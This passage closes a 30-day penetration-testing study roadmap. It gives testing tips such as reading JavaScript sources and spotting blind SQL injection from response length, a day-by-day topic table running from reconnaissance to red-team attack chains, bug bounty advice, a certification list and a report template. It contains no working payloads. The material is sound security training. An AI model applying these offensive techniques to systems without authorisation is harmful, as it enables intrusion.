Fix: Automated scanners miss context-dependent vulnerabilities. Manual testing always outperforms tools alone. Tools accelerate — they do not replace thinking.

✗ Ignoring HTTP response details

Fix: Every response tells a story: status codes, headers, response length, body content, response time. A 1-byte length difference can confirm blind SQLi.

✗ Never reading JavaScript source files

Fix: View page source is not enough. Open DevTools > Sources. JS files contain API endpoints, auth logic, hardcoded tokens, and internal hostnames.

✗ Tunnel vision on one vulnerability class

Fix: If SQLi is not working after thorough testing, try XSS, IDOR, SSRF. Broaden your approach — the critical bug may be in a completely different category.

■ PROGRESS TRACKING TABLE

Mark each day complete only after finishing the lab AND writing your notes.

Day	Topic	Done	Notes
1	Recon & OSINT Fundamentals	[]	
2	Network Scanning with Nmap	[]	
3	Web App Fingerprinting & Directory Enumeration	[]	
4	Burp Suite Mastery	[]	
5	SQL Injection - Basics	[]	
6	SQL Injection - Advanced & Blind	[]	
7	XSS - Reflected & Stored	[]	
8	XSS - DOM-Based & Filter Bypass	[]	
9	IDOR & Broken Access Control	[]	
10	File Upload Vulnerabilities	[]	
11	SSRF - Server-Side Request Forgery	[]	
12	XXE - XML External Entity Injection	[]	
13	Authentication & Session Attacks	[]	
14	API Hacking - Fundamentals	[]	
15	API Hacking - Advanced	[]	
16	Directory Traversal & LFI/RFI	[]	
17	Command Injection	[]	
18	CSRF & Clickjacking	[]	
19	SSTI - Server-Side Template Injection	[]	
20	Metasploit Framework	[]	
21	Privilege Escalation - Linux	[]	
22	Privilege Escalation - Windows	[]	
23	Active Directory Attacks	[]	
24	Password Attacks & Cracking	[]	
25	Python for Offensive Security	[]	
26	Custom Exploit Development with Python	[]	
27	Malware Analysis Fundamentals	[]	
28	Cloud Penetration Testing	[]	
29	Full Red Team Attack Chain	[]	
30	CTF Challenge & Portfolio Day	[]	

■ BONUS SECTION

How to Start Bug Bounty

- Create accounts on HackerOne and Bugcrowd – read the top-paid disclosed reports first
- Choose programs with wide scope and responsive teams (avoid aggressive legal language)
- Start with VDPs (no payment pressure) before paid bounties – more learning, less stress
- Focus on ONE vulnerability class per week: master XSS before moving to IDOR
- Every finding: calculate CVSS score, write professional reproduction steps, include PoC
- Use OWASP Threat Dragon or Excalidraw to diagram attack chains for the report

What to Study Next (Certifications)

eJPT – Entry-level by INE/eLearnSecurity. Perfect first cert after this roadmap. Practical exam.
PNPT – Practical Network Pentester by TCM Security. Highly practical, no multiple choice. 5-day exam.

OSCP – Gold standard. Offensive Security Certified Professional. 24-hour fully hands-on exam.

BSCP – Burp Suite Certified Practitioner by PortSwigger. Gold standard for web pentesting.

CRTE – Certified Red Team Expert. Advanced Active Directory and red team methodology.

CEH – Certified Ethical Hacker. More theory-based but recognised by enterprise clients.

Bug Report Template

```
## Vulnerability Report
**Title:** [Concise, descriptive title – include vuln class and affected endpoint]
**Severity:** Critical / High / Medium / Low
**CVSS Score:** 9.8 (use https://www.first.org/cvss/calculator/3.1)

### Summary
One paragraph: what is vulnerable, what an attacker can do, business impact.

### Steps to Reproduce
1. Navigate to https://target.com/endpoint
2. Send the following request with payload X...
3. Observe: response contains [specific data / action performed]

### Proof of Concept
[Screenshot / video / working payload / curl command]

### Impact
An unauthenticated attacker can [specific impact: read any user's data / etc.]

### Recommended Fix
[SPECIFIC fix – not 'sanitise input' but 'use parameterised queries in Java']
```

You made it to Day 30. You are now dangerous. Stay curious, keep labbing, and never stop learning.

github.com/Oscar-Opemba
